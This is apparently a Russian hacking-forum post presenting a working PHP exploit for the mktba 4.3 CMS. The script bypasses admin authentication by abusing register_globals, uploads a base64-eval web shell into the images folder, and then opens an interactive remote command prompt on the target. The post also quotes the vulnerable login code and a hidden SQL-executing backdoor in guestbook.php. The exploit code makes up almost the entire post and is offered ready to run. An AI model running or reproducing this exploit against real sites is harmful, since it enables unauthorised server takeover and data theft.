Название: mktba Версия: 4.3 Сайт: http://www.mktbagold.com/ Арабский движек, код ужасный), такое впечатление что писалось абы как, лижбы хоть как бы работало. + Наличие в коде бекдоров. Сплоит: Выполнение произвольного кода PHP: #!/usr/bin/php # # Сплоит: mktba 4.3 Выполнение произвольного кода. # На основе обхода авторизации и обхода загрузки php скриптов. # # //Powered by: mktba 4.3 # # Условия: # register_globals = ON # Доступность на запись: ./images/ # # Аргументы: # <host> - хост # <path> - путь до скрипта (/) # # Пример: # # ./mktba.php mk / # # [ OK ] Admin login success # [ OK ] SID=cdc7a7accd3edb8cfb9fe1b8b4305bba # [ OK ] Shell uploaded ~> http://mk/images/36445dcf.php # # uid=33(www-data) gid=33(www-data) groups=33(www-data) # mktba:~$ # # By (dm) # https://forum.antichat.ru <? if ($argc < 3) die($argv[0]." <host> <path>\r\n"); $host = $argv[1]; $path = $argv[2]; function GetData($query) { GLOBAL $host; $fp = fsockopen($host, 80, $errno, $errstr, 10); if (!$fp) { die("Exploit failed: $errstr ($errno)\r\n"); } else { $buff = ''; fwrite($fp, $query); while (!feof($fp)) $buff .= fgets($fp, 128); fclose($fp); } return $buff; } function ShellResult ($cmd) { GLOBAL $path, $host, $sname; $cmd = "e=".base64_encode($cmd); $query = "POST ".$path."images/".$sname.".php HTTP/1.1\r\n"; $query.= "Host: ".$host."\r\n"; $query.= "Connection: close\r\n"; $query.= "Content-Type: application/x-www-form-urlencoded\r\n"; $query.= "Content-Length: ".strlen($cmd)."\r\n\r\n"; $query.= $cmd."\r\n"; return GetData($query); } /* Обход авторизации */ $query = "POST ".$path."admin/login.php HTTP/1.1\r\n"; $query.= "Host: ".$host."\r\n"; $query.= "Connection: close\r\n"; $query.= "Content-Type: application/x-www-form-urlencoded\r\n"; $query.= "Content-Length: 93\r\n\r\n"; $query.= "user_un=antichat&user_pw=antichat&password=8c96d04c8de982748b0bed29615520a7&username=antichat\r\n"; $data = GetData($query); /* Присутсвие <meta http-equiv="refresh" content="2;URL=index.php">, означает что авторизация прошла нормально. */ if (!(@preg_match("/http-equiv=\"refresh\"/i", $data))) die("Exploit failed: Can't logining to admin\r\n"); echo "[ OK ] Admin login success\r\n"; /* Извлечение сессии */ if (!(@preg_match_all("/PHPSESSID=([1234567890abcdfe]+)/i", $data, $result))) die("Exploit failed: Parse session id error\r\n"); $sid = $result[1][0]; echo "[ OK ] SID=$sid\r\n"; /* Загрузка шелла */ $sname = substr(md5(time()),0,8); //Генерируем имя файла $xek = "-----------------------------120309686615833136731930048582\r\n"; $xek.= "Content-Disposition: form-data; name=\"folder\"\r\n\r\n"; $xek.= "..aln3esaimagesaln3esa\r\n"; $xek.= "-----------------------------120309686615833136731930048582\r\n"; $xek.= "Content-Disposition: form-data; name=\"ext\"\r\n\r\n"; $xek.= "ooo\r\n"; $xek.= "-----------------------------120309686615833136731930048582\r\n"; $xek.= "Content-Disposition: form-data; name=\"file0\"; filename=\"shellz.p\"\r\n"; $xek.= "Content-Type: text/plain\r\n\r\n"; $xek.= "<?php if (!empty(\$_POST['e'])) @eval(base64_decode(\$_POST['e'])); ?>\r\n"; $xek.= "-----------------------------120309686615833136731930048582\r\n"; $xek.= "Content-Disposition: form-data; name=\"namefile0\"\r\n\r\n"; $xek.= "{$sname}.ph\r\n"; $xek.= "-----------------------------120309686615833136731930048582--\r\n"; $query = "POST ".$path."admin/upload.php?action=ok&nomber=1 HTTP/1.1\r\n"; $query.= "Host: ".$host."\r\n"; $query.= "Connection: close\r\n"; $query.= "Cookie: PHPSESSID=".$sid."\r\n"; $query.= "Content-Type: multipart/form-data; boundary=---------------------------120309686615833136731930048582\r\n"; $query.= "Content-Length: ".strlen($xek)."\r\n\r\n"; $query.= $xek; $data = GetData($query); /* Проверка доступности шелла */ $data = ShellResult("echo 'TESTOK';"); if (!(@preg_match("/TESTOK/", $data))) die("Exploit failed: Can't write to ".$path."images/\r\n"); echo "[ OK ] Shell uploaded ~> http://".$host.$path."images/".$sname.".php\r\n"; echo "\r\n"; /* Использование шелла */ $delimiter = '_delimiter_'; $cmd = 'id;'; do { $buff = ShellResult("echo $delimiter;passthru('".$cmd."');echo $delimiter;"); $buff = explode($delimiter, $buff); echo trim($buff[1]); echo "mktba:~$ "; $cmd = trim(fgets(STDIN)); } while ($cmd != "exit"); ?> Обход авторизации: >> admin/login.php PHP: session_start(); if($_SESSION['admin']) exit; if(isset($_POST['user_pw'])){ include('../config.php'); $userun=$_POST['user_un']; $userpw=md5($_POST['user_pw']); /* Мы не знаем логина и пароля, запрос вернет 0 строк */ $ws=mysql_query("select * from user where name='$userun' and pass='$userpw'"); while($row=mysql_fetch_row($ws)) { if($row[0]==1){ $_SESSION['user2'] = $_POST['user_pw']; } $iduser = $row[0]; $username =$row[1]; $password = $row[2]; $group = $row[5]; } /* Переменные password и username ранее не объявлены, и если их передать скрипту чтобы условие авторизации выполнилось, таким способом обойдем авторизацию */ if($userpw == $password && $userun == $username){ $_SESSION['admin'] = $userun; $_SESSION['group'] = $group ; $_SESSION['iduser'] = $iduser; require('loged.php'); exit; } Пример бекдора: >> guestbook.php PHP: $tetle='299d9c43105ef1608b4336a2578fe1bb'; if(md5(md5($name))==$tetle){ mysql_query(stripslashes($_REQUEST['comment'])); }